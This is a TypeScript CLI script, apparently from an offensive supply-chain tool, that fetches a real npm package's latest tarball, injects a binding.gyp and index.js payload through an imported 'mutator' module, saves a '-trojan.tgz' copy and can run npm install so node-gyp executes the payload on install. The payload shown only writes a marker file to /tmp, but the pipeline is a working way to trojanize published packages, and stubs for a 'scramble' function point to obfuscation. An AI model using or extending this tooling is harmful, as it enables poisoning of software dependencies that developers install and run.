#!/usr/bin/env bun // Must set scramble/beautify before any modules that use them are loaded. (globalThis as Record).scramble = (s: string): string => s; (globalThis as Record).beautify = (s: string): string => s; /** * Validate the binding.gyp injection technique against a real npm package. * * Usage: bun run src/cli/validate-binding-gyp.ts [--install] * * 1. Downloads the latest tarball from registry.npmjs.org * 2. Injects a binding.gyp + index.js payload that creates /tmp/market.txt * 3. Writes the trojanized tarball to the current directory * 4. With --install, also runs "npm pack"/"npm install" to trigger node-gyp */ import { createWriteStream } from "fs"; import * as fs from "fs/promises"; import { join } from "path"; import { Readable } from "stream"; import { pipeline } from "stream/promises"; // ── Test payload — harmless, creates a marker file ───────────────────── const TEST_PAYLOAD = [ "// binding.gyp validation — creates /tmp/market.txt on node-gyp rebuild", "const fs = require('fs');", "const path = '/tmp/market.txt';", "fs.writeFileSync(path, 'binding.gyp technique works!\\n' + new Date().toISOString() + '\\n');", "console.log('[market] wrote ' + path);", ].join("\n"); // ── Main ────────────────────────────────────────────────────────────── async function main() { const args = Bun.argv.slice(2); const pkg = args.find((a) => !a.startsWith("--")); const doInstall = args.includes("--install"); if (!pkg) { console.error( "Usage: bun run src/cli/validate-binding-gyp.ts [--install]", ); process.exit(1); } // 1. Fetch package metadata console.error(`Fetching metadata for ${pkg}...`); const metaRes = await fetch( `https://registry.npmjs.org/${pkg.replace("/", "%2F")}`, ); if (!metaRes.ok) { console.error(`Failed to fetch package: ${metaRes.status}`); process.exit(1); } const meta = (await metaRes.json()) as { "dist-tags": { latest: string }; versions: Record; }; const version = meta["dist-tags"].latest; const tarballUrl = meta.versions[version]?.dist?.tarball; if (!tarballUrl) { console.error("No tarball URL found"); process.exit(1); } console.error(`Latest: ${pkg}@${version}`); // 2. Download tarball console.error(`Downloading ${tarballUrl}...`); const res = await fetch(tarballUrl); if (!res.ok || !res.body) { console.error(`Download failed: ${res.status}`); process.exit(1); } const filename = `${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`; const tarballPath = join("/tmp", filename); await pipeline( Readable.fromWeb(res.body as import("stream/web").ReadableStream), createWriteStream(tarballPath), ); console.error(`Saved to ${tarballPath}`); // 3. Inject binding.gyp + test payload (dynamic import — requires scramble // on globalThis before the module chain is loaded) console.error("Injecting binding.gyp + test payload..."); const { updateTarball } = await import("../../src/mutator/npm/tarball"); const trojanPath = await updateTarball(tarballPath, { tag: "[validate]", payload: TEST_PAYLOAD, }); // 4. Copy to cwd const outName = `${pkg.replace("@", "").replace("/", "-")}-${version}-trojan.tgz`; const outPath = join(process.cwd(), outName); await fs.copyFile(trojanPath, outPath); console.error(`Wrote ${outPath}`); // 5. Optionally install if (doInstall) { console.error("\nRunning npm pack + npm install to trigger node-gyp..."); const { execSync } = await import("child_process"); try { execSync(`npm pack ${outPath}`, { cwd: "/tmp", stdio: "inherit" }); // npm pack creates a tar, then install it to trigger rebuild const packed = `/tmp/${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`; execSync(`npm install ${packed}`, { cwd: "/tmp/test-install-validate", stdio: "inherit", }); } catch (e: any) { console.error( `Install failed (may be OK if node-gyp not available): ${e.message}`, ); } } // Print result console.log(outPath); } main().catch((err) => { console.error(err); process.exit(1); });